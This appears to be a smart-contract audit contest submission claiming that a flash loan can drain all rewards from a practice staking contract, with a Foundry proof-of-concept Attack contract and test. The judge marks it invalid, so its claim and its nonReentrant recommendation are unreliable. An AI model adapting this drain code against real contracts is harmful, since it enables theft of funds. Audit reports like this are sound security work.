Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

Staking.sol :: claimRewards() A flash loan can be utilized to steal all rewards.

Summary

claimRewards() allows users to claim loveTokens based on both the time since their last claim and the amount of loveTokens deposited. However, a vulnerability arises when users can deposit, claim rewards, and withdraw in a single transaction. This allows attackers to use flash loans to drain all the funds of the contract.

Vulnerability Details

claimRewards() calculates rewards based on the number of loveTokens staked by the users and the time elapsed since their last claim (in weeks).

uint256 amountToClaim = userStakes[msg.sender] * timeInWeeksSinceLastClaim;

The vulnerability lies in the ability for an attacker to utilize a flash loan to deposit loveTokens into the contract, subsequently stealing all funds. The attack unfolds through the following steps:

  1. Use mintSoulmateToken() with one soulmate1 being an EOA, while the other, soulmate2, is a malicious contract.

  2. Wait 1 week.

  3. Acquire a flash loan of loveTokens.

  4. Execute the deposit() to add loveTokens to the contract.

  5. Exploit the claimRewards() to pilfer all funds from the contract.

  6. Utilize the withdraw() to retrieve previously deposited loveTokens.

  7. Repay the flash loan by returning the loveTokens.

Steps 3 through 7 are executed within a single transaction orchestrated by a malicious contract.

POC

Modify LoveToken.sol by integrating the following lines to simulate a flash loan.

function mint(address add, uint256 amount) public {
_mint(add, amount);
}

To execute thePOC, add the following code into SakingTest.sol, then run forge test --match-test test_StealAllTheFundsWithFlashLoan.

function test_StealAllTheFundsWithFlashLoan() public {
uint weekOfStaking = 1;
assertEq(loveToken.balanceOf(address(stakingVault)), 500_000_000 ether);
//Create attack contract
Attack attack = new Attack(address(soulmateContract), address(stakingContract), address(loveToken));
//Mint soulamte
soulmateContract.mintSoulmateToken();
attack.mintSoulmate();
//Simulate FlashLoan
loveToken.mint(address(attack), 500_000_000 ether);
//Wait 1 week for the soulmateToken
vm.warp(block.timestamp + weekOfStaking * 1 weeks);
//Steal all the funds
attack.attackStaking();
assertEq(loveToken.balanceOf(address(stakingVault)), 0);
}
}
interface ISoulmate {
function mintSoulmateToken() external returns (uint256);
}
interface IStake {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function claimRewards() external;
}
interface IToken {
function approve(address spender, uint256 value) external returns (bool);
}
contract Attack {
ISoulmate soulamteContract;
IStake stakeContract;
IToken loveToken;
constructor(address _soulamteContract, address _stakeContract, address _loveToken) {
soulamteContract = ISoulmate(_soulamteContract);
stakeContract = IStake(_stakeContract);
loveToken = IToken(_loveToken);
}
function mintSoulmate() public {
soulamteContract.mintSoulmateToken();
}
function attackStaking() public {
loveToken.approve(address(stakeContract), 500_000_000 ether);
stakeContract.deposit(500_000_000 ether);
stakeContract.claimRewards();
stakeContract.withdraw(500_000_000 ether);
}
}

Impact

All funds can be stolen.

Tools Used

Manual review.

Recommendations

Incorporate the nonReentrant modifier from OpenZeppelin Contracts ReentrancyGuard.sol into deposit(), withdraw(), and claimRewards().

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other
ivanfitro Submitter
over 1 year ago
0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.